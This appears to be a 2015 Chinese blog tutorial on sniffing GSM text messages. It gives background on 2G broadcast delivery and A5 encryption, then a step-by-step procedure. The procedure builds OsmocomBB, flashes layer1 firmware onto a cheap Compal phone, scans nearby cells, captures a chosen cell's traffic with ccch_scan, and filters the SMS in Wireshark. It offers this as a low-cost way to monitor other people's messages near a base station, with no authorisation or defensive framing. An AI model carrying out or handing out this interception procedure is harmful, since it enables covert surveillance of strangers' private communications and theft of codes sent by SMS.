短信嗅探

Feei <feei#feei.cn> 09/2015

0x01 背景知识

短信嗅探技术在2011年就非常成熟,如今实现的成本也非常低廉,几十块的手机即可监控附近的短信息!

GSM工作流程

短信工作原理

2G短信的传播方式有点类似Wi-Fi,基站对应的是路由器,而我们手机对应的是电脑。 当我们手机开机时,会主动搜索附近的基站信息,并根据SIM卡选择对应的运营商基站。连上基站获取到信号后,当有短信或者电话过来时,基站是通过广播的方式发给附近的所有人,但我们手机会有一道验证过程,这个过程会保证我们只能收到自己手机号的短信和电话。 如果我们绕过这道逻辑,便可以监控经过这个基站的所有短信和电话了。那我们如何绕过手机的这道验证呢,已经有一套成熟的开源解决方案了。

GSM加密算法

GSM加密采用A5算法,A5算法1989年由法国人开发,是一种序列密码,它是欧洲GSM标准中规定的加密算法,专用于数字蜂窝移动电话的加密,用于对从电话到基站连接的加密。A5的特点是效率高,适合硬件上高效实现。 A5发展至今,有A5/1、A5/2、A5/3、A5/4、A5/5、A5/6、A5/7等7个版本,目前GSM终端一般都支持A5/1和A5/3,A5/4以上基本不涉及。值得注意的是,A5/2是被故意弱化强度的版本,专用于出口给友邦,2006年后被强制叫停,终端不允许支持A5/2。

名词解释

运行过程

0x02 着手实践

准备工作

短信嗅探手机

短信嗅探手机

运行环境

建议在BackTrack或Kali系统下操作

# 安装依赖
sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev  

# 下载源码
git clone git://git.osmocom.org/osmocom-bb.git  
git clone git://git.osmocom.org/libosmocore.git

# 编译libosmocore
cd ~/libosmocore  
autoreconf -i  
./configure  
make  
sudo make install

# 编译osmocom-bb
cd ~/osmocom-bb
git checkout --track origin/luca/gsmmap  
cd src  
make

短信截包

USB2TTL接到电脑,把耳机线一头接到手机,另外一头接到USB2TTL上。

短信嗅探配件

# 查看手机连接状态
lsmod | grep usb

cd ~/osmocom-bb/src/host/osmocon/  
./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin

# 再开一个终端查看可用基站
cd ~/osmocom-bb/src/host/layer23/src/misc/  
./cell_log

# 嗅探指定基站
cd ~/osmocom-bb/src/host/layer23/src/misc/  
./ccch_scan -i 127.0.0.1 -a 117

# 再开一个终端窗口查看嗅探结果
sudo wireshark -k -i lo -f 'port 4729'  

过滤只显示gsm_sms即可看到嗅探结果:

嗅探测试结果

这只能看到附近基站的部分短信内容,如果想看全部内容需要增加多个手机进行监听各基站号,理论上10台手机即可监听一个基站全部GSM短信。

参考